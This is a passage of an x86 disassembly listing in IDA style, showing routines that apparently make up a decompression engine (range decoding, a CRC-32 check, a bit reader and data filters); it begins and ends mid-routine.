add esi, ebx
lea edx, [edx+esi*2+604h]
mov esi, [ecx+880h]
sar esi, 1Ah
and esi, 20h
add edx, esi
movzx esi, byte ptr [ecx+4C89h]
add edx, esi
movzx eax, al
add edx, eax
lea esi, [ecx+edx*2]
lea edx, [ecx+85Ch]
shr dword ptr [edx+8], 0Eh
movzx eax, word ptr [esi]
mov ebx, [edx+8]
mov [ebp+var_4], eax
mov eax, [edx+4]
sub eax, [edx]
xor edx, edx
div ebx
mov edx, [ebp+var_4]
cmp eax, edx
jnb short loc_9B220E
mov [ecx], edi
mov al, [edi+5]
cmp al, 80h
setb dl
add dl, al
mov [edi+5], dl
and dword ptr [ecx+868h], 0
movzx eax, word ptr [esi]
mov [ecx+86Ch], eax
xor eax, eax
mov ax, [esi]
movzx edx, ax
add edx, 20h
sar edx, 7
sub eax, edx
add eax, 80h
mov [esi], ax
inc dword ptr [ecx+880h]
mov byte ptr [ecx+4C89h], 1
jmp short loc_9B2269
; ---------------------------------------------------------------------------
loc_9B220E: ; CODE XREF: sub_9B213F+87j
mov [ecx+868h], edx
xor eax, eax
mov ax, [esi]
movzx edx, ax
add edx, 20h
sar edx, 7
sub eax, edx
mov [esi], ax
mov dl, [ecx+4C88h]
mov dword ptr [ecx+86Ch], 4000h
movzx eax, word ptr [esi]
shr eax, 0Ah
movzx eax, ds:byte_9A6AD4[eax]
mov [ecx+874h], eax
mov dword ptr [ecx+650h], 1
movzx eax, byte ptr [edi+4]
mov [eax+ecx+888h], dl
and dword ptr [ecx], 0
mov byte ptr [ecx+4C89h], 0
loc_9B2269: ; CODE XREF: sub_9B213F+CDj
pop edi
pop esi
pop ebx
leave
retn
sub_9B213F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B226E proc near ; CODE XREF: sub_9B2309+19p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov cx, [eax+0Ah]
cmp cx, 100h
push esi
mov esi, [ebp+arg_0]
jz short loc_9B22F6
push ebx
xor ebx, ebx
cmp [edx+650h], esi
push edi
setnle bl
movzx edi, cx
movzx ecx, byte ptr [edx+esi+987h]
movzx esi, word ptr [eax+8]
mov eax, [eax]
movzx eax, word ptr [eax+0Ah]
mov [ebp+var_4], edi
imul edi, 0Bh
lea ecx, [ebx+ecx*4]
xor ebx, ebx
cmp esi, edi
setl bl
sub eax, [ebp+var_4]
lea ecx, [ebx+ecx*2]
xor ebx, ebx
cmp [ebp+arg_0], eax
setl bl
xor esi, esi
lea eax, [ebx+ecx*2]
movzx ecx, byte ptr [edx+4C8Ah]
add eax, ecx
lea eax, [edx+eax*4+0Ch]
mov si, [eax]
mov cl, [eax+2]
movzx edi, si
shr edi, cl
xor ecx, ecx
sub esi, edi
test edi, edi
setz cl
mov [eax], si
add ecx, edi
pop edi
mov [edx+870h], ecx
pop ebx
jmp short loc_9B2306
; ---------------------------------------------------------------------------
loc_9B22F6: ; CODE XREF: sub_9B226E+11j
lea eax, [edx+64Ch]
mov dword ptr [edx+870h], 1
loc_9B2306: ; CODE XREF: sub_9B226E+86j
pop esi
leave
retn
sub_9B226E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B2309 proc near ; CODE XREF: sub_9B25BF+132p
var_410 = dword ptr -410h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 410h
push edi
movzx edi, word ptr [ebx+0Ah]
sub edi, [esi+650h]
mov eax, ebx
push edi
mov edx, esi
call sub_9B226E
mov [ebp+var_C], eax
lea eax, [ebp+var_410]
mov [ebp+var_10], eax
mov eax, [ebx+4]
sub eax, 6
and [ebp+var_4], 0
pop ecx
loc_9B233E: ; CODE XREF: sub_9B2309+49j
; sub_9B2309+5Cj
movzx edx, byte ptr [eax+0Ah]
mov cl, [esi+4C88h]
add eax, 6
cmp [edx+esi+888h], cl
jz short loc_9B233E
movzx ecx, byte ptr [eax+5]
add [ebp+var_4], ecx
mov ecx, [ebp+var_10]
add [ebp+var_10], 4
dec edi
mov [ecx], eax
jnz short loc_9B233E
mov edi, [ebp+var_4]
add [esi+870h], edi
lea ecx, [esi+85Ch]
mov eax, [ecx+8]
xor edx, edx
div dword ptr [ecx+14h]
xor edx, edx
mov [ebp+var_4], eax
mov [ecx+8], eax
mov eax, [ecx+4]
sub eax, [ecx]
mov ecx, [esi+870h]
div [ebp+var_4]
cmp eax, ecx
mov [ebp+var_4], eax
jb short loc_9B23A2
xor eax, eax
jmp loc_9B2481
; ---------------------------------------------------------------------------
loc_9B23A2: ; CODE XREF: sub_9B2309+90j
cmp [ebp+var_4], edi
mov edx, [ebp+var_410]
lea eax, [ebp+var_410]
jge short loc_9B242F
mov ecx, edx
movzx ecx, byte ptr [ecx+5]
jmp short loc_9B23C6
; ---------------------------------------------------------------------------
loc_9B23BB: ; CODE XREF: sub_9B2309+C0j
add eax, 4
mov edx, [eax]
movzx edi, byte ptr [edx+5]
add ecx, edi
loc_9B23C6: ; CODE XREF: sub_9B2309+B0j
cmp ecx, [ebp+var_4]
jle short loc_9B23BB
mov edi, [ebp+var_C]
mov [esi+86Ch], ecx
movzx eax, byte ptr [edx+5]
sub ecx, eax
mov [esi+868h], ecx
mov cl, [edi+2]
cmp cl, 7
mov [ebp+var_5], cl
jnb short loc_9B2401
dec byte ptr [edi+3]
jnz short loc_9B2401
shl word ptr [edi], 1
mov al, 3
shl al, cl
mov [edi+3], al
mov al, cl
inc al
mov [edi+2], al
loc_9B2401: ; CODE XREF: sub_9B2309+E0j
; sub_9B2309+E5j
mov [esi], edx
add byte ptr [edx+5], 4
add word ptr [ebx+8], 4
cmp byte ptr [edx+5], 7Ch
jbe short loc_9B241B
push esi
mov eax, ebx
call sub_9B1A07
pop ecx
loc_9B241B: ; CODE XREF: sub_9B2309+107j
mov eax, [esi+884h]
inc byte ptr [esi+4C88h]
mov [esi+880h], eax
jmp short loc_9B247E
; ---------------------------------------------------------------------------
loc_9B242F: ; CODE XREF: sub_9B2309+A8j
mov [esi+868h], edi
mov [esi+86Ch], ecx
movzx edi, word ptr [ebx+0Ah]
sub edi, [esi+650h]
lea eax, [ebp+var_410]
sub eax, 4
loc_9B244E: ; CODE XREF: sub_9B2309+15Cj
mov dl, [esi+4C88h]
add eax, 4
dec edi
mov ecx, [eax]
movzx ecx, byte ptr [ecx+4]
mov [ecx+esi+888h], dl
jnz short loc_9B244E
mov eax, [ebp+var_C]
mov cx, [esi+870h]
add [eax], cx
movzx eax, word ptr [ebx+0Ah]
mov [esi+650h], eax
loc_9B247E: ; CODE XREF: sub_9B2309+124j
xor eax, eax
inc eax
loc_9B2481: ; CODE XREF: sub_9B2309+94j
pop edi
leave
retn
sub_9B2309 endp
; =============== S U B R O U T I N E =======================================
sub_9B2484 proc near ; CODE XREF: sub_9B0DF4+ABp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
mov [eax+670h], ecx
mov [eax+4], ecx
mov [eax+8], ecx
retn
sub_9B2484 endp
; =============== S U B R O U T I N E =======================================
sub_9B2497 proc near ; CODE XREF: sub_9B0DF4+E8p
; sub_9B1166+1Ep
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 654h
jmp sub_9B13C5
sub_9B2497 endp
; =============== S U B R O U T I N E =======================================
sub_9B24A5 proc near ; CODE XREF: sub_9B030E+878p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
lea edi, [esi+654h]
mov eax, edi
call sub_9B13C5
xor eax, eax
inc eax
call sub_9B13DA
push 2
pop eax
pop edi
mov ecx, esi
pop esi
jmp sub_9B192C
sub_9B24A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B24CC proc near ; CODE XREF: sub_9AF875+6Bp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push edi
push [ebp+arg_8]
push [ebp+arg_4]
call sub_9AF380
mov ebx, [ebp+arg_0]
mov edi, eax
mov [ebp+var_8], edi
shr edi, 5
and edi, 1
pop ecx
pop ecx
jz loc_9B257D
push [ebp+arg_8]
push [ebp+arg_4]
call sub_9AF380
pop ecx
pop ecx
mov [ebp+var_C], eax
loc_9B2505: ; CODE XREF: sub_9B24CC+B8j
test byte ptr [ebp+var_8], 40h
jz short loc_9B251D
push [ebp+arg_8]
push [ebp+arg_4]
call sub_9AF380
pop ecx
pop ecx
mov ecx, [ebp+arg_C]
mov [ecx], eax
loc_9B251D: ; CODE XREF: sub_9B24CC+3Dj
push esi
lea esi, [ebx+85Ch]
and dword ptr [esi+4], 0
and dword ptr [esi], 0
or dword ptr [esi+8], 0FFFFFFFFh
mov [ebp+var_4], 4
loc_9B2536: ; CODE XREF: sub_9B24CC+85j
push [ebp+arg_8]
push [ebp+arg_4]
call sub_9AF380
pop ecx
pop ecx
mov ecx, [esi+4]
shl ecx, 8
or eax, ecx
dec [ebp+var_4]
mov [esi+4], eax
jnz short loc_9B2536
test edi, edi
jz short loc_9B25B2
mov eax, [ebp+var_8]
and eax, 1Fh
inc eax
mov esi, eax
cmp esi, 10h
jle short loc_9B2569
lea esi, [esi+esi*2-20h]
loc_9B2569: ; CODE XREF: sub_9B24CC+97j
cmp esi, 1
jnz short loc_9B258E
lea eax, [ebx+654h]
loc_9B2574: ; CODE XREF: sub_9B24CC+E4j
call sub_9B13C5
xor eax, eax
jmp short loc_9B25BA
; ---------------------------------------------------------------------------
loc_9B257D: ; CODE XREF: sub_9B24CC+23j
cmp dword ptr [ebx+670h], 0
jnz loc_9B2505
xor eax, eax
jmp short loc_9B25BB
; ---------------------------------------------------------------------------
loc_9B258E: ; CODE XREF: sub_9B24CC+A0j
mov eax, [ebp+var_C]
lea edi, [ebx+654h]
inc eax
call sub_9B13DA
test eax, eax
jz short loc_9B25AE
mov eax, esi
mov ecx, ebx
call sub_9B192C
test eax, eax
jnz short loc_9B25B2
loc_9B25AE: ; CODE XREF: sub_9B24CC+D3j
mov eax, edi
jmp short loc_9B2574
; ---------------------------------------------------------------------------
loc_9B25B2: ; CODE XREF: sub_9B24CC+89j
; sub_9B24CC+E0j
xor eax, eax
cmp [ebx+4], eax
setnz al
loc_9B25BA: ; CODE XREF: sub_9B24CC+AFj
pop esi
loc_9B25BB: ; CODE XREF: sub_9B24CC+C0j
pop edi
pop ebx
leave
retn
sub_9B24CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B25BF proc near ; CODE XREF: sub_9B012B+13p
; sub_9B012B+33p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_0]
mov edx, [esi+4]
mov ecx, [esi+654h]
cmp edx, ecx
push edi
jbe short loc_9B25FC
mov edi, [esi+65Ch]
cmp edx, edi
ja short loc_9B25FC
cmp word ptr [edx+0Ah], 1
jz short loc_9B2604
mov eax, [edx+4]
cmp eax, ecx
jbe short loc_9B25FC
cmp eax, edi
ja short loc_9B25FC
mov edi, edx
call sub_9B1FE8
loc_9B25F8: ; CODE XREF: sub_9B25BF+137j
test eax, eax
jnz short loc_9B260B
loc_9B25FC: ; CODE XREF: sub_9B25BF+14j
; sub_9B25BF+1Ej ...
or eax, 0FFFFFFFFh
loc_9B25FF: ; CODE XREF: sub_9B25BF+1C9j
pop edi
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_9B2604: ; CODE XREF: sub_9B25BF+25j
mov ecx, esi
call sub_9B213F
loc_9B260B: ; CODE XREF: sub_9B25BF+3Bj
mov ecx, [esi+868h]
lea eax, [esi+864h]
mov edx, [eax]
mov edi, edx
imul edi, ecx
add [esi+85Ch], edi
mov edi, [esi+86Ch]
sub edi, ecx
imul edi, edx
mov [eax], edi
cmp dword ptr [esi], 0
jz short loc_9B2663
mov eax, [esi]
movzx edi, byte ptr [eax+4]
xor ebx, ebx
cmp [esi+878h], ebx
jnz loc_9B26FB
mov eax, [eax]
cmp eax, [esi+654h]
jbe loc_9B26FB
mov [esi+8], eax
mov [esi+4], eax
jmp loc_9B272C
; ---------------------------------------------------------------------------
loc_9B2663: ; CODE XREF: sub_9B25BF+75j
; sub_9B25BF+FCj
mov eax, [esi+85Ch]
mov ecx, [esi+864h]
lea edx, [eax+ecx]
xor edx, eax
cmp edx, 1000000h
jb short loc_9B2691
cmp ecx, 8000h
jnb short loc_9B26BD
neg eax
and eax, 7FFFh
mov [esi+864h], eax
loc_9B2691: ; CODE XREF: sub_9B25BF+BBj
push [ebp+arg_8]
lea ebx, [esi+860h]
push [ebp+arg_4]
call sub_9AF380
shl dword ptr [esi+864h], 8
pop ecx
pop ecx
mov ecx, [ebx]
shl ecx, 8
or eax, ecx
shl dword ptr [esi+85Ch], 8
mov [ebx], eax
jmp short loc_9B2663
; ---------------------------------------------------------------------------
loc_9B26BD: ; CODE XREF: sub_9B25BF+C3j
mov eax, [esi+654h]
loc_9B26C3: ; CODE XREF: sub_9B25BF+130j
mov ecx, [esi+4]
inc dword ptr [esi+878h]
mov ebx, [ecx]
cmp ebx, eax
mov [esi+4], ebx
jbe loc_9B25FC
cmp ebx, [esi+65Ch]
ja loc_9B25FC
movzx ecx, word ptr [ebx+0Ah]
cmp ecx, [esi+650h]
jz short loc_9B26C3
call sub_9B2309
jmp loc_9B25F8
; ---------------------------------------------------------------------------
loc_9B26FB: ; CODE XREF: sub_9B25BF+85j
; sub_9B25BF+93j
push esi
call sub_9B1D29
test eax, eax
pop ecx
jz loc_9B25FC
lea eax, [esi+4C88h]
cmp [eax], bl
jnz short loc_9B272C
push 100h ; Size
mov byte ptr [eax], 1
lea eax, [esi+888h]
push ebx ; Val
push eax ; Dst
call memset
add esp, 0Ch
loc_9B272C: ; CODE XREF: sub_9B25BF+9Fj
; sub_9B25BF+153j ...
mov eax, [esi+85Ch]
mov ecx, [esi+864h]
lea edx, [eax+ecx]
xor edx, eax
cmp edx, 1000000h
jb short loc_9B275A
cmp ecx, 8000h
jnb short loc_9B2786
neg eax
and eax, 7FFFh
mov [esi+864h], eax
loc_9B275A: ; CODE XREF: sub_9B25BF+184j
push [ebp+arg_8]
lea ebx, [esi+860h]
push [ebp+arg_4]
call sub_9AF380
shl dword ptr [esi+864h], 8
pop ecx
pop ecx
mov ecx, [ebx]
shl ecx, 8
or eax, ecx
shl dword ptr [esi+85Ch], 8
mov [ebx], eax
jmp short loc_9B272C
; ---------------------------------------------------------------------------
loc_9B2786: ; CODE XREF: sub_9B25BF+18Cj
mov eax, edi
jmp loc_9B25FF
sub_9B25BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B278D proc near ; CODE XREF: sub_9AF448+21p
; sub_9AF448+46p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_0], 0
mov ecx, [ebp+arg_4]
jz short loc_9B27A0
mov al, byte ptr [ebp+arg_8]
mov [ecx], al
pop ebp
retn
; ---------------------------------------------------------------------------
loc_9B27A0: ; CODE XREF: sub_9B278D+Aj
mov eax, [ebp+arg_8]
mov [ecx], eax
pop ebp
retn
sub_9B278D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B27A7 proc near ; CODE XREF: sub_9AF3BC+35p
; sub_9B2968+9Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
push edi
mov edi, [ebp+arg_8]
test edi, edi
jz short loc_9B27E3
push esi
loc_9B27B6: ; CODE XREF: sub_9B27A7+39j
movzx eax, byte ptr [ecx]
push 8
inc ecx
pop esi
loc_9B27BD: ; CODE XREF: sub_9B27A7+36j
mov edx, eax
xor edx, [ebp+arg_0]
test dl, 1
jz short loc_9B27D7
mov edx, [ebp+arg_0]
shr edx, 1
xor edx, 0EDB88320h
mov [ebp+arg_0], edx
jmp short loc_9B27DA
; ---------------------------------------------------------------------------
loc_9B27D7: ; CODE XREF: sub_9B27A7+1Ej
shr [ebp+arg_0], 1
loc_9B27DA: ; CODE XREF: sub_9B27A7+2Ej
shr eax, 1
dec esi
jnz short loc_9B27BD
dec edi
jnz short loc_9B27B6
pop esi
loc_9B27E3: ; CODE XREF: sub_9B27A7+Cj
mov eax, [ebp+arg_0]
pop edi
pop ebp
retn
sub_9B27A7 endp
; =============== S U B R O U T I N E =======================================
sub_9B27E9 proc near ; CODE XREF: sub_9B0206+F8p
arg_0 = dword ptr 4
push 40004h ; Size
call sub_9B1311
pop ecx
mov ecx, [esp+arg_0]
mov [ecx], eax
xor ecx, ecx
test eax, eax
setnz cl
mov eax, ecx
retn
sub_9B27E9 endp
; =============== S U B R O U T I N E =======================================
sub_9B2804 proc near ; CODE XREF: sub_9B0DF4+FAp
; sub_9B0FE1+176p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_9B281E
mov eax, [esi]
test eax, eax
jz short loc_9B281E
push eax ; Memory
call free
and dword ptr [esi], 0
pop ecx
loc_9B281E: ; CODE XREF: sub_9B2804+7j
; sub_9B2804+Dj
pop esi
retn
sub_9B2804 endp
; =============== S U B R O U T I N E =======================================
sub_9B2820 proc near ; CODE XREF: sub_9AFBCB+251p
; sub_9AFBCB+2E6p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
mov eax, [esp+arg_4]
add eax, [ecx+0Ch]
mov edx, eax
sar edx, 3
add [ecx+8], edx
and eax, 7
mov [ecx+0Ch], eax
retn
sub_9B2820 endp
; =============== S U B R O U T I N E =======================================
sub_9B283A proc near ; CODE XREF: sub_9AFBCB+241p
; sub_9AFBCB+2D2p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, [edx]
mov eax, [edx+8]
push ebx
xor ebx, ebx
add eax, ecx
mov bh, [eax]
push 8
pop ecx
sub ecx, [edx+0Ch]
mov bl, [eax+1]
movzx eax, byte ptr [eax+2]
shl ebx, 8
or ebx, eax
shr ebx, cl
and ebx, 0FFFFh
mov eax, ebx
pop ebx
retn
sub_9B283A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B2868 proc near ; CODE XREF: sub_9AFBCB+26p
; sub_9AFBCB+18Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
push esi
call sub_9B283A
pop ecx
mov ecx, eax
and ecx, 0C000h
jz loc_9B2949
cmp ecx, 4000h
jz loc_9B291C
mov eax, [esi+0Ch]
inc eax
inc eax
cmp ecx, 8000h
push esi
mov ecx, eax
jz short loc_9B28F6
mov ebx, eax
sar ecx, 3
add [esi+8], ecx
and ebx, 7
mov [esi+0Ch], ebx
call sub_9B283A
add ebx, 10h
mov edi, eax
mov eax, [esi+8]
mov ecx, ebx
sar ecx, 3
add eax, ecx
and ebx, 7
push esi
shl edi, 10h
mov [ebp+var_4], eax
mov [esi+8], eax
mov [esi+0Ch], ebx
call sub_9B283A
or edi, eax
pop ecx
lea eax, [ebx+10h]
pop ecx
mov ecx, eax
sar ecx, 3
add ecx, [ebp+var_4]
and eax, 7
mov [esi+0Ch], eax
mov [esi+8], ecx
mov eax, edi
jmp short loc_9B2963
; ---------------------------------------------------------------------------
loc_9B28F6: ; CODE XREF: sub_9B2868+39j
mov edi, eax
sar ecx, 3
add [esi+8], ecx
mov ebx, [esi+8]
and edi, 7
mov [esi+0Ch], edi
call sub_9B283A
pop ecx
lea ecx, [edi+10h]
mov edx, ecx
sar edx, 3
add edx, ebx
mov [esi+8], edx
jmp short loc_9B2944
; ---------------------------------------------------------------------------
loc_9B291C: ; CODE XREF: sub_9B2868+25j
test ah, 3Ch
mov ecx, [esi+0Ch]
jnz short loc_9B2931
shr eax, 2
or eax, 0FFFFFF00h
add ecx, 0Eh
jmp short loc_9B293C
; ---------------------------------------------------------------------------
loc_9B2931: ; CODE XREF: sub_9B2868+BAj
shr eax, 6
and eax, 0FFh
add ecx, 0Ah
loc_9B293C: ; CODE XREF: sub_9B2868+C7j
mov edx, ecx
sar edx, 3
add [esi+8], edx
loc_9B2944: ; CODE XREF: sub_9B2868+B2j
and ecx, 7
jmp short loc_9B2960
; ---------------------------------------------------------------------------
loc_9B2949: ; CODE XREF: sub_9B2868+19j
mov ecx, [esi+0Ch]
add ecx, 6
mov edx, ecx
sar edx, 3
add [esi+8], edx
shr eax, 0Ah
and ecx, 7
and eax, 0Fh
loc_9B2960: ; CODE XREF: sub_9B2868+DFj
mov [esi+0Ch], ecx
loc_9B2963: ; CODE XREF: sub_9B2868+8Cj
pop edi
pop esi
pop ebx
leave
retn
sub_9B2868 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B2968 proc near ; CODE XREF: sub_9B3A12+67p
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 54h
push edi
push [ebp+arg_0]
mov [ebp+var_54], 35h
push 0FFFFFFFFh
mov [ebp+var_50], 0AD576887h
mov [ebp+var_4C], 1
mov [ebp+var_48], 39h
mov [ebp+var_44], 3CD7E57Eh
mov [ebp+var_40], 2
mov [ebp+var_3C], 78h
mov [ebp+var_38], 3769893Fh
mov [ebp+var_34], 3
mov [ebp+var_30], 1Dh
mov [ebp+var_2C], 0E06077Dh
mov [ebp+var_28], 6
mov [ebp+var_24], 95h
mov [ebp+var_20], 1C2C5DC8h
mov [ebp+var_1C], 4
mov [ebp+var_18], 0D8h
mov [ebp+var_14], 0BC85E701h
mov [ebp+var_10], 5
mov [ebp+var_C], 28h
mov [ebp+var_8], 46B9C560h
mov [ebp+var_4], 7
call sub_9B27A7
add esp, 0Ch
not eax
xor edx, edx
lea ecx, [ebp+var_54]
loc_9B2A16: ; CODE XREF: sub_9B2968+BEj
cmp [ecx+4], eax
jnz short loc_9B2A1F
cmp [ecx], edi
jz short loc_9B2A2C
loc_9B2A1F: ; CODE XREF: sub_9B2968+B1j
inc edx
add ecx, 0Ch
cmp edx, 7
jb short loc_9B2A16
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_9B2A2C: ; CODE XREF: sub_9B2968+B5j
lea eax, [edx+edx*2]
mov eax, [ebp+eax*4+var_4C]
leave
retn
sub_9B2968 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9B2A35(int, int, void *Src, int)
sub_9B2A35 proc near ; CODE XREF: sub_9AF4A5+CEp
; sub_9AF4A5+E7p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Src = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
mov eax, 40000h
cmp ecx, eax
jnb short loc_9B2A68
mov edx, [ebp+arg_0]
mov edx, [edx]
add edx, ecx
cmp [ebp+Src], edx
jz short loc_9B2A68
sub eax, ecx
cmp [ebp+arg_C], eax
jnb short loc_9B2A5A
mov eax, [ebp+arg_C]
loc_9B2A5A: ; CODE XREF: sub_9B2A35+20j
push eax ; Size
push [ebp+Src] ; Src
push edx ; Dst
call memmove
add esp, 0Ch
loc_9B2A68: ; CODE XREF: sub_9B2A35+Dj
; sub_9B2A35+19j
pop ebp
retn
sub_9B2A35 endp
; =============== S U B R O U T I N E =======================================
sub_9B2A6A proc near ; CODE XREF: sub_9B300B+38p
; sub_9B300B+43p
arg_0 = dword ptr 4
cmp dword ptr [eax+4], 2
jnz short loc_9B2A83
mov ecx, [eax]
mov eax, [eax+0Ch]
add eax, [ecx]
mov ecx, [esp+arg_0]
and eax, 3FFFFh
add eax, [ecx]
retn
; ---------------------------------------------------------------------------
loc_9B2A83: ; CODE XREF: sub_9B2A6A+4j
mov eax, [eax]
retn
sub_9B2A6A endp
; =============== S U B R O U T I N E =======================================
sub_9B2A86 proc near ; CODE XREF: sub_9B2B17+441p
; sub_9B2B17+455p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cdq
push 8
pop esi
idiv esi
xor edx, edx
push 20h
movzx esi, byte ptr [eax+ecx]
inc eax
mov dh, [eax+ecx]
lea eax, [eax+ecx+1]
mov ecx, [esp+8+arg_0]
and ecx, 7
or esi, edx
xor edx, edx
mov dh, [eax+1]
mov dl, [eax]
or eax, 0FFFFFFFFh
shl edx, 10h
or edx, esi
shr edx, cl
pop ecx
sub ecx, [esp+4+arg_4]
pop esi
shr eax, cl
and eax, edx
retn
sub_9B2A86 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B2AC6 proc near ; CODE XREF: sub_9B2B17+469p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov eax, ecx
push 8
cdq
pop esi
idiv esi
and ecx, 7
push 20h
or edx, 0FFFFFFFFh
xor edi, edi
mov esi, eax
mov eax, ecx
pop ecx
sub ecx, [ebp+arg_8]
shr edx, cl
mov ecx, eax
mov eax, [ebp+arg_0]
shl [ebp+arg_4], cl
shl edx, cl
add esi, eax
not edx
loc_9B2AF5: ; CODE XREF: sub_9B2AC6+4Bj
mov al, [esi+edi]
and al, dl
or al, byte ptr [ebp+arg_4]
shr [ebp+arg_4], 8
shr edx, 8
or edx, 0FF000000h
mov [esi+edi], al
inc edi
cmp edi, 4
jl short loc_9B2AF5
pop edi
pop esi
pop ebp
retn
sub_9B2AC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9B2B17 proc near ; CODE XREF: sub_9B300B+607p
Dst = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 54h
push esi
push edi
mov esi, ecx
xor edi, edi
cmp esi, edi
jle loc_9B3007
cmp esi, 2
push ebx
jle loc_9B2F9F
cmp esi, 3
jz loc_9B2EEB
cmp esi, 4
jz loc_9B2DCB
cmp esi, 5
jz loc_9B2C04
cmp esi, 6
jz short loc_9B2BAB
cmp esi, 7
jnz loc_9B3006
mov edi, [eax+14h]
xor esi, esi
cmp edi, 1E000h
mov ebx, edi
jge loc_9B3006
test edi, edi
jle short loc_9B2B94
loc_9B2B75: ; CODE XREF: sub_9B2B17+7Bj
mov ecx, [eax]
mov dl, [ecx+esi]
inc esi
cmp dl, 2
jnz short loc_9B2B8C
mov dl, [ecx+esi]
inc esi
cmp dl, 2
jz short loc_9B2B8C
add dl, 0E0h
loc_9B2B8C: ; CODE XREF: sub_9B2B17+67j
; sub_9B2B17+70j
mov [ecx+ebx], dl
inc ebx
cmp esi, edi
jl short loc_9B2B75
loc_9B2B94: ; CODE XREF: sub_9B2B17+5Cj
mov ecx, [eax]
sub ebx, edi
mov [ecx+3C01Ch], ebx
mov eax, [eax]
mov [eax+3C020h], edi
jmp loc_9B3006
; ---------------------------------------------------------------------------
loc_9B2BAB: ; CODE XREF: sub_9B2B17+3Cj
mov edx, [eax+14h]
mov ecx, [eax+4]
mov edi, [eax]
xor ebx, ebx
cmp edx, 1E000h
mov [ebp+var_2C], ecx
lea esi, [edx+edx]
mov [edi+3C020h], edx
jge loc_9B3006
and [ebp+var_8], ebx
test ecx, ecx
jle loc_9B3006
loc_9B2BD8: ; CODE XREF: sub_9B2B17+E6j
mov edi, [ebp+var_8]
xor cl, cl
add edi, edx
jmp short loc_9B2BF0
; ---------------------------------------------------------------------------
loc_9B2BE1: ; CODE XREF: sub_9B2B17+DBj
mov esi, [eax]
sub cl, [esi+ebx]
inc ebx
mov [esi+edi], cl
add edi, [ebp+var_2C]
lea esi, [edx+edx]
loc_9B2BF0: ; CODE XREF: sub_9B2B17+C8j
cmp edi, esi
jl short loc_9B2BE1
inc [ebp+var_8]
mov ecx, [ebp+var_8]
cmp ecx, [ebp+var_2C]
jl short loc_9B2BD8
jmp loc_9B3006
; ---------------------------------------------------------------------------
loc_9B2C04: ; CODE XREF: sub_9B2B17+33j
mov esi, [eax+14h]
cmp esi, 1E000h
mov ecx, [eax+4]
mov eax, [eax]
lea edx, [eax+esi]
mov [ebp+var_38], ecx
mov [ebp+var_20], esi
mov [ebp+var_18], eax
mov [ebp+var_28], edx
mov [eax+3C020h], esi
jge loc_9B3006
cmp ecx, edi
mov [ebp+var_8], edi
